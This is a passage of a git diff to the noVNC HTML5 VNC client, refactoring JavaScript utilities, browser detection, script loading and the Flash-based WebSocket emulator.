+// IE <9 does not support indexOf
+//This prototype is provided by the Mozilla foundation and
+//is distributed under the MIT license.
+//http://www.ibiblio.org/pub/Linux/LICENSES/mit.license
+addFunc(Array, 'indexOf', function (elt /*, from*/) {
+ "use strict";
+ var len = this.length >>> 0;
+
+ var from = Number(arguments[1]) || 0;
+ from = (from < 0) ? Math.ceil(from) : Math.floor(from);
+ if (from < 0) {
+ from += len;
+ }
+
+ for (; from < len; from++) {
+ if (from in this &&
+ this[from] === elt) {
+ return from;
+ }
+ }
+ return -1;
+});
+
+// From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
+if (!Object.keys) {
+ Object.keys = (function () {
+ 'use strict';
+ var hasOwnProperty = Object.prototype.hasOwnProperty,
+ hasDontEnumBug = !({toString: null}).propertyIsEnumerable('toString'),
+ dontEnums = [
+ 'toString',
+ 'toLocaleString',
+ 'valueOf',
+ 'hasOwnProperty',
+ 'isPrototypeOf',
+ 'propertyIsEnumerable',
+ 'constructor'
+ ],
+ dontEnumsLength = dontEnums.length;
+
+ return function (obj) {
+ if (typeof obj !== 'object' && (typeof obj !== 'function' || obj === null)) {
+ throw new TypeError('Object.keys called on non-object');
+ }
+
+ var result = [], prop, i;
+
+ for (prop in obj) {
+ if (hasOwnProperty.call(obj, prop)) {
+ result.push(prop);
+ }
+ }
+
+ if (hasDontEnumBug) {
+ for (i = 0; i < dontEnumsLength; i++) {
+ if (hasOwnProperty.call(obj, dontEnums[i])) {
+ result.push(dontEnums[i]);
+ }
+ }
+ }
+ return result;
+ };
+ })();
}
-/*
+// PhantomJS 1.x doesn't support bind,
+// so leave this in until PhantomJS 2.0 is released
+//This prototype is provided by the Mozilla foundation and
+//is distributed under the MIT license.
+//http://www.ibiblio.org/pub/Linux/LICENSES/mit.license
+addFunc(Function, 'bind', function (oThis) {
+ if (typeof this !== "function") {
+ // closest thing possible to the ECMAScript 5
+ // internal IsCallable function
+ throw new TypeError("Function.prototype.bind - " +
+ "what is trying to be bound is not callable");
+ }
+
+ var aArgs = Array.prototype.slice.call(arguments, 1),
+ fToBind = this,
+ fNOP = function () {},
+ fBound = function () {
+ return fToBind.apply(this instanceof fNOP && oThis ? this
+ : oThis,
+ aArgs.concat(Array.prototype.slice.call(arguments)));
+ };
+
+ fNOP.prototype = this.prototype;
+ fBound.prototype = new fNOP();
+
+ return fBound;
+});
+
+//
+// requestAnimationFrame shim with setTimeout fallback
+//
+
+window.requestAnimFrame = (function () {
+ "use strict";
+ return window.requestAnimationFrame ||
+ window.webkitRequestAnimationFrame ||
+ window.mozRequestAnimationFrame ||
+ window.oRequestAnimationFrame ||
+ window.msRequestAnimationFrame ||
+ function (callback) {
+ window.setTimeout(callback, 1000 / 60);
+ };
+})();
+
+/*
* ------------------------------------------------------
* Namespaced in Util
* ------------------------------------------------------
@@ -69,6 +185,7 @@
Util._log_level = 'warn';
Util.init_logging = function (level) {
+ "use strict";
if (typeof level === 'undefined') {
level = Util._log_level;
} else {
@@ -79,26 +196,34 @@
window.console = {
'log' : window.opera.postError,
'warn' : window.opera.postError,
- 'error': window.opera.postError };
+ 'error': window.opera.postError
+ };
} else {
window.console = {
- 'log' : function(m) {},
- 'warn' : function(m) {},
- 'error': function(m) {}};
+ 'log' : function (m) {},
+ 'warn' : function (m) {},
+ 'error': function (m) {}
+ };
}
}
Util.Debug = Util.Info = Util.Warn = Util.Error = function (msg) {};
+ /* jshint -W086 */
switch (level) {
- case 'debug': Util.Debug = function (msg) { console.log(msg); };
- case 'info': Util.Info = function (msg) { console.log(msg); };
- case 'warn': Util.Warn = function (msg) { console.warn(msg); };
- case 'error': Util.Error = function (msg) { console.error(msg); };
+ case 'debug':
+ Util.Debug = function (msg) { console.log(msg); };
+ case 'info':
+ Util.Info = function (msg) { console.log(msg); };
+ case 'warn':
+ Util.Warn = function (msg) { console.warn(msg); };
+ case 'error':
+ Util.Error = function (msg) { console.error(msg); };
case 'none':
break;
default:
- throw("invalid logging type '" + level + "'");
+ throw new Error("invalid logging type '" + level + "'");
}
+ /* jshint +W086 */
};
Util.get_logging = function () {
return Util._log_level;
@@ -106,105 +231,279 @@
// Initialize logging level
Util.init_logging();
+Util.make_property = function (proto, name, mode, type) {
+ "use strict";
-// Set configuration default for Crockford style function namespaces
-Util.conf_default = function(cfg, api, defaults, v, mode, type, defval, desc) {
- var getter, setter;
-
- // Default getter function
- getter = function (idx) {
- if ((type in {'arr':1, 'array':1}) &&
- (typeof idx !== 'undefined')) {
- return cfg[v][idx];
- } else {
- return cfg[v];
- }
- };
-
- // Default setter function
- setter = function (val, idx) {
- if (type in {'boolean':1, 'bool':1}) {
- if ((!val) || (val in {'0':1, 'no':1, 'false':1})) {
- val = false;
+ var getter;
+ if (type === 'arr') {
+ getter = function (idx) {
+ if (typeof idx !== 'undefined') {
+ return this['_' + name][idx];
} else {
- val = true;
+ return this['_' + name];
}
- } else if (type in {'integer':1, 'int':1}) {
- val = parseInt(val, 10);
- } else if (type === 'func') {
- if (!val) {
- val = function () {};
- }
- }
- if (typeof idx !== 'undefined') {
- cfg[v][idx] = val;
- } else {
- cfg[v] = val;
- }
- };
-
- // Set the description
- api[v + '_description'] = desc;
-
- // Set the getter function
- if (typeof api['get_' + v] === 'undefined') {
- api['get_' + v] = getter;
- }
-
- // Set the setter function with extra sanity checks
- if (typeof api['set_' + v] === 'undefined') {
- api['set_' + v] = function (val, idx) {
- if (mode in {'RO':1, 'ro':1}) {
- throw(v + " is read-only");
- } else if ((mode in {'WO':1, 'wo':1}) &&
- (typeof cfg[v] !== 'undefined')) {
- throw(v + " can only be set once");
- }
- setter(val, idx);
+ };
+ } else {
+ getter = function () {
+ return this['_' + name];
};
}
- // Set the default value
- if (typeof defaults[v] !== 'undefined') {
- defval = defaults[v];
- } else if ((type in {'arr':1, 'array':1}) &&
- (! (defval instanceof Array))) {
- defval = [];
+ var make_setter = function (process_val) {
+ if (process_val) {
+ return function (val, idx) {
+ if (typeof idx !== 'undefined') {
+ this['_' + name][idx] = process_val(val);
+ } else {
+ this['_' + name] = process_val(val);
+ }
+ };
+ } else {
+ return function (val, idx) {
+ if (typeof idx !== 'undefined') {
+ this['_' + name][idx] = val;
+ } else {
+ this['_' + name] = val;
+ }
+ };
+ }
+ };
+
+ var setter;
+ if (type === 'bool') {
+ setter = make_setter(function (val) {
+ if (!val || (val in {'0': 1, 'no': 1, 'false': 1})) {
+ return false;
+ } else {
+ return true;
+ }
+ });
+ } else if (type === 'int') {
+ setter = make_setter(function (val) { return parseInt(val, 10); });
+ } else if (type === 'float') {
+ setter = make_setter(parseFloat);
+ } else if (type === 'str') {
+ setter = make_setter(String);
+ } else if (type === 'func') {
+ setter = make_setter(function (val) {
+ if (!val) {
+ return function () {};
+ } else {
+ return val;
+ }
+ });
+ } else if (type === 'arr' || type === 'dom' || type == 'raw') {
+ setter = make_setter();
+ } else {
+ throw new Error('Unknown property type ' + type); // some sanity checking
}
- // Coerce existing setting to the right type
- //Util.Debug("v: " + v + ", defval: " + defval + ", defaults[v]: " + defaults[v]);
- setter(defval);
+
+ // set the getter
+ if (typeof proto['get_' + name] === 'undefined') {
+ proto['get_' + name] = getter;
+ }
+
+ // set the setter if needed
+ if (typeof proto['set_' + name] === 'undefined') {
+ if (mode === 'rw') {
+ proto['set_' + name] = setter;
+ } else if (mode === 'wo') {
+ proto['set_' + name] = function (val, idx) {
+ if (typeof this['_' + name] !== 'undefined') {
+ throw new Error(name + " can only be set once");
+ }
+ setter.call(this, val, idx);
+ };
+ }
+ }
+
+ // make a special setter that we can use in set defaults
+ proto['_raw_set_' + name] = function (val, idx) {
+ setter.call(this, val, idx);
+ //delete this['_init_set_' + name]; // remove it after use
+ };
};
-// Set group of configuration defaults
-Util.conf_defaults = function(cfg, api, defaults, arr) {
- var i;
- for (i = 0; i < arr.length; i++) {
- Util.conf_default(cfg, api, defaults, arr[i][0], arr[i][1],
- arr[i][2], arr[i][3], arr[i][4]);
+Util.make_properties = function (constructor, arr) {
+ "use strict";
+ for (var i = 0; i < arr.length; i++) {
+ Util.make_property(constructor.prototype, arr[i][0], arr[i][1], arr[i][2]);
}
};
+Util.set_defaults = function (obj, conf, defaults) {
+ var defaults_keys = Object.keys(defaults);
+ var conf_keys = Object.keys(conf);
+ var keys_obj = {};
+ var i;
+ for (i = 0; i < defaults_keys.length; i++) { keys_obj[defaults_keys[i]] = 1; }
+ for (i = 0; i < conf_keys.length; i++) { keys_obj[conf_keys[i]] = 1; }
+ var keys = Object.keys(keys_obj);
+
+ for (i = 0; i < keys.length; i++) {
+ var setter = obj['_raw_set_' + keys[i]];
+ if (!setter) {
+ Util.Warn('Invalid property ' + keys[i]);
+ continue;
+ }
+
+ if (keys[i] in conf) {
+ setter.call(obj, conf[keys[i]]);
+ } else {
+ setter.call(obj, defaults[keys[i]]);
+ }
+ }
+};
+
+/*
+ * Decode from UTF-8
+ */
+Util.decodeUTF8 = function (utf8string) {
+ "use strict";
+ return decodeURIComponent(escape(utf8string));
+};
+
+
/*
* Cross-browser routines
*/
-// Get DOM element position on page
-Util.getPosition = function (obj) {
- var x = 0, y = 0;
- if (obj.offsetParent) {
- do {
- x += obj.offsetLeft;
- y += obj.offsetTop;
- obj = obj.offsetParent;
- } while (obj);
- }
- return {'x': x, 'y': y};
+
+// Dynamically load scripts without using document.write()
+// Reference: http://unixpapa.com/js/dyna.html
+//
+// Handles the case where load_scripts is invoked from a script that
+// itself is loaded via load_scripts. Once all scripts are loaded the
+// window.onscriptsloaded handler is called (if set).
+Util.get_include_uri = function () {
+ return (typeof INCLUDE_URI !== "undefined") ? INCLUDE_URI : "include/";
};
+Util._loading_scripts = [];
+Util._pending_scripts = [];
+Util.load_scripts = function (files) {
+ "use strict";
+ var head = document.getElementsByTagName('head')[0], script,
+ ls = Util._loading_scripts, ps = Util._pending_scripts;
+
+ var loadFunc = function (e) {
+ while (ls.length > 0 && (ls[0].readyState === 'loaded' ||
+ ls[0].readyState === 'complete')) {
+ // For IE, append the script to trigger execution
+ var s = ls.shift();
+ //console.log("loaded script: " + s.src);
+ head.appendChild(s);
+ }
+ if (!this.readyState ||
+ (Util.Engine.presto && this.readyState === 'loaded') ||
+ this.readyState === 'complete') {
+ if (ps.indexOf(this) >= 0) {
+ this.onload = this.onreadystatechange = null;
+ //console.log("completed script: " + this.src);
+ ps.splice(ps.indexOf(this), 1);
+
+ // Call window.onscriptsload after last script loads
+ if (ps.length === 0 && window.onscriptsload) {
+ window.onscriptsload();
+ }
+ }
+ }
+ };
+
+ for (var f = 0; f < files.length; f++) {
+ script = document.createElement('script');
+ script.type = 'text/javascript';
+ script.src = Util.get_include_uri() + files[f];
+ //console.log("loading script: " + script.src);
+ script.onload = script.onreadystatechange = loadFunc;
+ // In-order script execution tricks
+ if (Util.Engine.trident) {
+ // For IE wait until readyState is 'loaded' before
+ // appending it which will trigger execution
+ // http://wiki.whatwg.org/wiki/Dynamic_Script_Execution_Order
+ ls.push(script);
+ } else {
+ // For webkit and firefox set async=false and append now
+ // https://developer.mozilla.org/en-US/docs/HTML/Element/script
+ script.async = false;
+ head.appendChild(script);
+ }
+ ps.push(script);
+ }
+};
+
+
+// Get DOM element position on page
+// This solution is based based on http://www.greywyvern.com/?post=331
+// Thanks to Brian Huisman AKA GreyWyvern!
+Util.getPosition = (function () {
+ "use strict";
+ function getStyle(obj, styleProp) {
+ var y;
+ if (obj.currentStyle) {
+ y = obj.currentStyle[styleProp];
+ } else if (window.getComputedStyle)
+ y = window.getComputedStyle(obj, null)[styleProp];
+ return y;
+ }
+
+ function scrollDist() {
+ var myScrollTop = 0, myScrollLeft = 0;
+ var html = document.getElementsByTagName('html')[0];
+
+ // get the scrollTop part
+ if (html.scrollTop && document.documentElement.scrollTop) {
+ myScrollTop = html.scrollTop;
+ } else if (html.scrollTop || document.documentElement.scrollTop) {
+ myScrollTop = html.scrollTop + document.documentElement.scrollTop;
+ } else if (document.body.scrollTop) {
+ myScrollTop = document.body.scrollTop;
+ } else {
+ myScrollTop = 0;
+ }
+
+ // get the scrollLeft part
+ if (html.scrollLeft && document.documentElement.scrollLeft) {
+ myScrollLeft = html.scrollLeft;
+ } else if (html.scrollLeft || document.documentElement.scrollLeft) {
+ myScrollLeft = html.scrollLeft + document.documentElement.scrollLeft;
+ } else if (document.body.scrollLeft) {
+ myScrollLeft = document.body.scrollLeft;
+ } else {
+ myScrollLeft = 0;
+ }
+
+ return [myScrollLeft, myScrollTop];
+ }
+
+ return function (obj) {
+ var curleft = 0, curtop = 0, scr = obj, fixed = false;
+ while ((scr = scr.parentNode) && scr != document.body) {
+ curleft -= scr.scrollLeft || 0;
+ curtop -= scr.scrollTop || 0;
+ if (getStyle(scr, "position") == "fixed") {
+ fixed = true;
+ }
+ }
+ if (fixed && !window.opera) {
+ var scrDist = scrollDist();
+ curleft += scrDist[0];
+ curtop += scrDist[1];
+ }
+
+ do {
+ curleft += obj.offsetLeft;
+ curtop += obj.offsetTop;
+ } while ((obj = obj.offsetParent));
+
+ return {'x': curleft, 'y': curtop};
+ };
+})();
+
// Get mouse event position in DOM element
Util.getEventPosition = function (e, obj, scale) {
+ "use strict";
var evt, docX, docY, pos;
//if (!e) evt = window.event;
evt = (e ? e : window.event);
@@ -222,36 +521,43 @@
if (typeof scale === "undefined") {
scale = 1;
}
- return {'x': (docX - pos.x) / scale, 'y': (docY - pos.y) / scale};
+ var realx = docX - pos.x;
+ var realy = docY - pos.y;
+ var x = Math.max(Math.min(realx, obj.width - 1), 0);
+ var y = Math.max(Math.min(realy, obj.height - 1), 0);
+ return {'x': x / scale, 'y': y / scale, 'realx': realx / scale, 'realy': realy / scale};
};
// Event registration. Based on: http://www.scottandrew.com/weblog/articles/cbs-events
-Util.addEvent = function (obj, evType, fn){
- if (obj.attachEvent){
- var r = obj.attachEvent("on"+evType, fn);
+Util.addEvent = function (obj, evType, fn) {
+ "use strict";
+ if (obj.attachEvent) {
+ var r = obj.attachEvent("on" + evType, fn);
return r;
- } else if (obj.addEventListener){
- obj.addEventListener(evType, fn, false);
+ } else if (obj.addEventListener) {
+ obj.addEventListener(evType, fn, false);
return true;
} else {
- throw("Handler could not be attached");
+ throw new Error("Handler could not be attached");
}
};
-Util.removeEvent = function(obj, evType, fn){
- if (obj.detachEvent){
- var r = obj.detachEvent("on"+evType, fn);
+Util.removeEvent = function (obj, evType, fn) {
+ "use strict";
+ if (obj.detachEvent) {
+ var r = obj.detachEvent("on" + evType, fn);
return r;
- } else if (obj.removeEventListener){
+ } else if (obj.removeEventListener) {
obj.removeEventListener(evType, fn, false);
return true;
} else {
- throw("Handler could not be removed");
+ throw new Error("Handler could not be removed");
}
};
-Util.stopEvent = function(e) {
+Util.stopEvent = function (e) {
+ "use strict";
if (e.stopPropagation) { e.stopPropagation(); }
else { e.cancelBubble = true; }
@@ -263,41 +569,88 @@
// Set browser engine versions. Based on mootools.
Util.Features = {xpath: !!(document.evaluate), air: !!(window.runtime), query: !!(document.querySelector)};
-Util.Engine = {
- // Version detection break in Opera 11.60 (errors on arguments.callee.caller reference)
- //'presto': (function() {
- // return (!window.opera) ? false : ((arguments.callee.caller) ? 960 : ((document.getElementsByClassName) ? 950 : 925)); }()),
- 'presto': (function() { return (!window.opera) ? false : true; }()),
+(function () {
+ "use strict";
+ // 'presto': (function () { return (!window.opera) ? false : true; }()),
+ var detectPresto = function () {
+ return !!window.opera;
+ };
- 'trident': (function() {
- return (!window.ActiveXObject) ? false : ((window.XMLHttpRequest) ? ((document.querySelectorAll) ? 6 : 5) : 4); }()),
- 'webkit': (function() {
- try { return (navigator.taintEnabled) ? false : ((Util.Features.xpath) ? ((Util.Features.query) ? 525 : 420) : 419); } catch (e) { return false; } }()),
- //'webkit': (function() {
- // return ((typeof navigator.taintEnabled !== "unknown") && navigator.taintEnabled) ? false : ((Util.Features.xpath) ? ((Util.Features.query) ? 525 : 420) : 419); }()),
- 'gecko': (function() {
- return (!document.getBoxObjectFor && window.mozInnerScreenX == null) ? false : ((document.getElementsByClassName) ? 19 : 18); }())
-};
-if (Util.Engine.webkit) {
- // Extract actual webkit version if available
- Util.Engine.webkit = (function(v) {
- var re = new RegExp('WebKit/([0-9\.]*) ');
- v = (navigator.userAgent.match(re) || ['', v])[1];
- return parseFloat(v, 10);
- })(Util.Engine.webkit);
-}
+ // 'trident': (function () { return (!window.ActiveXObject) ? false : ((window.XMLHttpRequest) ? ((document.querySelectorAll) ? 6 : 5) : 4);
+ var detectTrident = function () {
+ if (!window.ActiveXObject) {
+ return false;
+ } else {
+ if (window.XMLHttpRequest) {
+ return (document.querySelectorAll) ? 6 : 5;
+ } else {
+ return 4;
+ }
+ }
+ };
-Util.Flash = (function(){
+ // 'webkit': (function () { try { return (navigator.taintEnabled) ? false : ((Util.Features.xpath) ? ((Util.Features.query) ? 525 : 420) : 419); } catch (e) { return false; } }()),
+ var detectInitialWebkit = function () {
+ try {
+ if (navigator.taintEnabled) {
+ return false;
+ } else {
+ if (Util.Features.xpath) {
+ return (Util.Features.query) ? 525 : 420;
+ } else {
+ return 419;
+ }
+ }
+ } catch (e) {
+ return false;
+ }
+ };
+
+ var detectActualWebkit = function (initial_ver) {
+ var re = /WebKit\/([0-9\.]*) /;
+ var str_ver = (navigator.userAgent.match(re) || ['', initial_ver])[1];
+ return parseFloat(str_ver, 10);
+ };
+
+ // 'gecko': (function () { return (!document.getBoxObjectFor && window.mozInnerScreenX == null) ? false : ((document.getElementsByClassName) ? 19ssName) ? 19 : 18 : 18); }())
+ var detectGecko = function () {
+ /* jshint -W041 */
+ if (!document.getBoxObjectFor && window.mozInnerScreenX == null) {
+ return false;
+ } else {
+ return (document.getElementsByClassName) ? 19 : 18;
+ }
+ /* jshint +W041 */
+ };
+
+ Util.Engine = {
+ // Version detection break in Opera 11.60 (errors on arguments.callee.caller reference)
+ //'presto': (function() {
+ // return (!window.opera) ? false : ((arguments.callee.caller) ? 960 : ((document.getElementsByClassName) ? 950 : 925)); }()),
+ 'presto': detectPresto(),
+ 'trident': detectTrident(),
+ 'webkit': detectInitialWebkit(),
+ 'gecko': detectGecko(),
+ };
+
+ if (Util.Engine.webkit) {
+ // Extract actual webkit version if available
+ Util.Engine.webkit = detectActualWebkit(Util.Engine.webkit);
+ }
+})();
+
+Util.Flash = (function () {
+ "use strict";
var v, version;
try {
v = navigator.plugins['Shockwave Flash'].description;
- } catch(err1) {
+ } catch (err1) {
try {
v = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version');
- } catch(err2) {
+ } catch (err2) {
v = '0 r0';
}
}
version = v.match(/\d+/g);
return {version: parseInt(version[0] || 0 + '.' + version[1], 10) || 0, build: parseInt(version[2], 10) || 0};
-}());
+}());
diff --git a/webclients/novnc/include/vnc.js b/webclients/novnc/include/vnc.js
index 2b31f45..7679d84 100644
--- a/webclients/novnc/include/vnc.js
+++ b/webclients/novnc/include/vnc.js
@@ -1,6 +1,6 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
+ * Copyright (C) 2012 Joel Martin
* Licensed under LGPL-3 (see LICENSE.txt)
*
* See README.md for usage and integration instructions.
diff --git a/webclients/novnc/include/web-socket-js/WebSocketMain.swf b/webclients/novnc/include/web-socket-js/WebSocketMain.swf
index 244c445..f286c81 100644
--- a/webclients/novnc/include/web-socket-js/WebSocketMain.swf
+++ b/webclients/novnc/include/web-socket-js/WebSocketMain.swf
Binary files differ
diff --git a/webclients/novnc/include/web-socket-js/web_socket.js b/webclients/novnc/include/web-socket-js/web_socket.js
index ec2a8b7..06cc5d0 100644
--- a/webclients/novnc/include/web-socket-js/web_socket.js
+++ b/webclients/novnc/include/web-socket-js/web_socket.js
@@ -1,49 +1,69 @@
// Copyright: Hiroshi Ichikawa <http://gimite.net/en/>
// License: New BSD License
// Reference: http://dev.w3.org/html5/websockets/
-// Reference: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol
+// Reference: http://tools.ietf.org/html/rfc6455
(function() {
- if (window.WebSocket) return;
-
- var console = window.console;
- if (!console || !console.log || !console.error) {
- console = {log: function(){ }, error: function(){ }};
+ if (window.WEB_SOCKET_FORCE_FLASH) {
+ // Keeps going.
+ } else if (window.WebSocket) {
+ return;
+ } else if (window.MozWebSocket) {
+ // Firefox.
+ window.WebSocket = MozWebSocket;
+ return;
}
- if (!swfobject.hasFlashPlayerVersion("10.0.0")) {
- console.error("Flash Player >= 10.0.0 is required.");
+ var logger;
+ if (window.WEB_SOCKET_LOGGER) {
+ logger = WEB_SOCKET_LOGGER;
+ } else if (window.console && window.console.log && window.console.error) {
+ // In some environment, console is defined but console.log or console.error is missing.
+ logger = window.console;
+ } else {
+ logger = {log: function(){ }, error: function(){ }};
+ }
+
+ // swfobject.hasFlashPlayerVersion("10.0.0") doesn't work with Gnash.
+ if (swfobject.getFlashPlayerVersion().major < 10) {
+ logger.error("Flash Player >= 10.0.0 is required.");
return;
}
if (location.protocol == "file:") {
- console.error(
+ logger.error(
"WARNING: web-socket-js doesn't work in file:///... URL " +
"unless you set Flash Security Settings properly. " +
"Open the page via Web server i.e. http://...");
}
/**
- * This class represents a faux web socket.
+ * Our own implementation of WebSocket class using Flash.
* @param {string} url
- * @param {string} protocol
+ * @param {array or string} protocols
* @param {string} proxyHost
* @param {int} proxyPort
* @param {string} headers
*/
- WebSocket = function(url, protocol, proxyHost, proxyPort, headers) {
+ window.WebSocket = function(url, protocols, proxyHost, proxyPort, headers) {
var self = this;
self.__id = WebSocket.__nextId++;
WebSocket.__instances[self.__id] = self;
self.readyState = WebSocket.CONNECTING;
self.bufferedAmount = 0;
self.__events = {};
+ if (!protocols) {
+ protocols = [];
+ } else if (typeof protocols == "string") {
+ protocols = [protocols];
+ }
// Uses setTimeout() to make sure __createFlash() runs after the caller sets ws.onopen etc.
// Otherwise, when onopen fires immediately, onopen is called before it is set.
- setTimeout(function() {
+ self.__createTask = setTimeout(function() {
WebSocket.__addTask(function() {
+ self.__createTask = null;
WebSocket.__flash.create(
- self.__id, url, protocol, proxyHost || null, proxyPort || 0, headers || null);
+ self.__id, url, protocols, proxyHost || null, proxyPort || 0, headers || null);
});
}, 0);
};
@@ -78,6 +98,12 @@
* Close this web socket gracefully.
*/
WebSocket.prototype.close = function() {
+ if (this.__createTask) {
+ clearTimeout(this.__createTask);
+ this.__createTask = null;
+ this.readyState = WebSocket.CLOSED;
+ return;
+ }
if (this.readyState == WebSocket.CLOSED || this.readyState == WebSocket.CLOSING) {
return;
}
@@ -131,7 +157,7 @@
events[i](event);
}
var handler = this["on" + event.type];
- if (handler) handler(event);
+ if (handler) handler.apply(this, [event]);
};
/**
@@ -139,16 +165,22 @@
* @param {Object} flashEvent
*/
WebSocket.prototype.__handleEvent = function(flashEvent) {
+
if ("readyState" in flashEvent) {
this.readyState = flashEvent.readyState;
}
+ if ("protocol" in flashEvent) {
+ this.protocol = flashEvent.protocol;
+ }
var jsEvent;
if (flashEvent.type == "open" || flashEvent.type == "error") {
jsEvent = this.__createSimpleEvent(flashEvent.type);
} else if (flashEvent.type == "close") {
- // TODO implement jsEvent.wasClean
jsEvent = this.__createSimpleEvent("close");
+ jsEvent.wasClean = flashEvent.wasClean ? true : false;
+ jsEvent.code = flashEvent.code;
+ jsEvent.reason = flashEvent.reason;
} else if (flashEvent.type == "message") {
var data = decodeURIComponent(flashEvent.message);
jsEvent = this.__createMessageEvent("message", data);
@@ -157,6 +189,7 @@
}
this.dispatchEvent(jsEvent);
+
};
WebSocket.prototype.__createSimpleEvent = function(type) {
@@ -188,6 +221,9 @@
WebSocket.CLOSING = 2;
WebSocket.CLOSED = 3;
+ // Field to check implementation of WebSocket.
+ WebSocket.__isFlashImplementation = true;
+ WebSocket.__initialized = false;
WebSocket.__flash = null;
WebSocket.__instances = {};
WebSocket.__tasks = [];
@@ -207,16 +243,31 @@
* Loads WebSocketMain.swf and creates WebSocketMain object in Flash.
*/
WebSocket.__initialize = function() {
- if (WebSocket.__flash) return;
+
+ if (WebSocket.__initialized) return;
+ WebSocket.__initialized = true;
if (WebSocket.__swfLocation) {
// For backword compatibility.
window.WEB_SOCKET_SWF_LOCATION = WebSocket.__swfLocation;
}
if (!window.WEB_SOCKET_SWF_LOCATION) {
- console.error("[WebSocket] set WEB_SOCKET_SWF_LOCATION to location of WebSocketMain.swf");
+ logger.error("[WebSocket] set WEB_SOCKET_SWF_LOCATION to location of WebSocketMain.swf");
return;
}
+ if (!window.WEB_SOCKET_SUPPRESS_CROSS_DOMAIN_SWF_ERROR &&
+ !WEB_SOCKET_SWF_LOCATION.match(/(^|\/)WebSocketMainInsecure\.swf(\?.*)?$/) &&
+ WEB_SOCKET_SWF_LOCATION.match(/^\w+:\/\/([^\/]+)/)) {
+ var swfHost = RegExp.$1;
+ if (location.host != swfHost) {
+ logger.error(
+ "[WebSocket] You must host HTML and WebSocketMain.swf in the same host " +
+ "('" + location.host + "' != '" + swfHost + "'). " +
+ "See also 'How to host HTML file and SWF file in different domains' section " +
+ "in README.md. If you use WebSocketMainInsecure.swf, you can suppress this message " +
+ "by WEB_SOCKET_SUPPRESS_CROSS_DOMAIN_SWF_ERROR = true;");
+ }
+ }
var container = document.createElement("div");
container.id = "webSocketContainer";
// Hides Flash box. We cannot use display: none or visibility: hidden because it prevents
@@ -250,9 +301,11 @@
null,
function(e) {
if (!e.success) {
- console.error("[WebSocket] swfobject.embedSWF failed");
+ logger.error("[WebSocket] swfobject.embedSWF failed");
}
- });
+ }
+ );
+
};
/**
@@ -287,7 +340,7 @@
WebSocket.__instances[events[i].webSocketId].__handleEvent(events[i]);
}
} catch (e) {
- console.error(e);
+ logger.error(e);
}
}, 0);
return true;
@@ -295,12 +348,12 @@
// Called by Flash.
WebSocket.__log = function(message) {
- console.log(decodeURIComponent(message));
+ logger.log(decodeURIComponent(message));
};
// Called by Flash.
WebSocket.__error = function(message) {
- console.error(decodeURIComponent(message));
+ logger.error(decodeURIComponent(message));
};
WebSocket.__addTask = function(task) {
@@ -327,15 +380,12 @@
};
if (!window.WEB_SOCKET_DISABLE_AUTO_INITIALIZATION) {
- if (window.addEventListener) {
- window.addEventListener("load", function(){
- WebSocket.__initialize();
- }, false);
- } else {
- window.attachEvent("onload", function(){
- WebSocket.__initialize();
- });
- }
+ // NOTE:
+ // This fires immediately if web_socket.js is dynamically loaded after
+ // the document is loaded.
+ swfobject.addDomLoadEvent(function() {
+ WebSocket.__initialize();
+ });
}
})();
diff --git a/webclients/novnc/include/websock.js b/webclients/novnc/include/websock.js
index 33350df..1b89a91 100644
--- a/webclients/novnc/include/websock.js
+++ b/webclients/novnc/include/websock.js
@@ -1,7 +1,7 @@
/*
* Websock: high-performance binary WebSockets
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*
* Websock is similar to the standard WebSocket object but Websock
* enables communication with raw TCP sockets (i.e. the binary stream)
@@ -14,12 +14,17 @@
* read binary data off of the receive queue.
*/
-/*jslint browser: true, bitwise: false, plusplus: false */
+/*jslint browser: true, bitwise: true */
/*global Util, Base64 */
// Load Flash WebSocket emulator if needed
+// To force WebSocket emulator even when native WebSocket available
+//window.WEB_SOCKET_FORCE_FLASH = true;
+// To enable WebSocket emulator debug:
+//window.WEB_SOCKET_DEBUG=1;
+
if (window.WebSocket && !window.WEB_SOCKET_FORCE_FLASH) {
Websock_native = true;
} else if (window.MozWebSocket && !window.WEB_SOCKET_FORCE_FLASH) {
@@ -28,329 +33,352 @@
} else {
/* no builtin WebSocket so load web_socket.js */
- // To enable debug:
- // window.WEB_SOCKET_DEBUG=1;
-
Websock_native = false;
(function () {
- function get_INCLUDE_URI() {
- return (typeof INCLUDE_URI !== "undefined") ?
- INCLUDE_URI : "include/";
- }
-
- var start = "<script src='" + get_INCLUDE_URI(),
- end = "'><\/script>", extra = "";
-
- window.WEB_SOCKET_SWF_LOCATION = get_INCLUDE_URI() +
+ window.WEB_SOCKET_SWF_LOCATION = Util.get_include_uri() +
"web-socket-js/WebSocketMain.swf";
if (Util.Engine.trident) {
Util.Debug("Forcing uncached load of WebSocketMain.swf");
window.WEB_SOCKET_SWF_LOCATION += "?" + Math.random();
}
- extra += start + "web-socket-js/swfobject.js" + end;
- extra += start + "web-socket-js/web_socket.js" + end;
- document.write(extra);
- }());
+ Util.load_scripts(["web-socket-js/swfobject.js",
+ "web-socket-js/web_socket.js"]);
+ })();
}
function Websock() {
-"use strict";
+ "use strict";
-var api = {}, // Public API
- websocket = null, // WebSocket object
- rQ = [], // Receive queue
- rQi = 0, // Receive queue index
- rQmax = 10000, // Max receive queue size before compacting
- sQ = [], // Send queue
+ this._websocket = null; // WebSocket object
+ this._rQ = []; // Receive queue
+ this._rQi = 0; // Receive queue index
+ this._rQmax = 10000; // Max receive queue size before compacting
+ this._sQ = []; // Send queue
- eventHandlers = {
- 'message' : function() {},
- 'open' : function() {},
- 'close' : function() {},
- 'error' : function() {}
- },
+ this._mode = 'base64'; // Current WebSocket mode: 'binary', 'base64'
+ this.maxBufferedAmount = 200;
- test_mode = false;
-
-
-//
-// Queue public functions
-//
-
-function get_sQ() {
- return sQ;
+ this._eventHandlers = {
+ 'message': function () {},
+ 'open': function () {},
+ 'close': function () {},
+ 'error': function () {}
+ };
}
-function get_rQ() {
- return rQ;
-}
-function get_rQi() {
- return rQi;
-}
-function set_rQi(val) {
- rQi = val;
-}
+(function () {
+ "use strict";
+ Websock.prototype = {
+ // Getters and Setters
+ get_sQ: function () {
+ return this._sQ;
+ },
-function rQlen() {
- return rQ.length - rQi;
-}
+ get_rQ: function () {
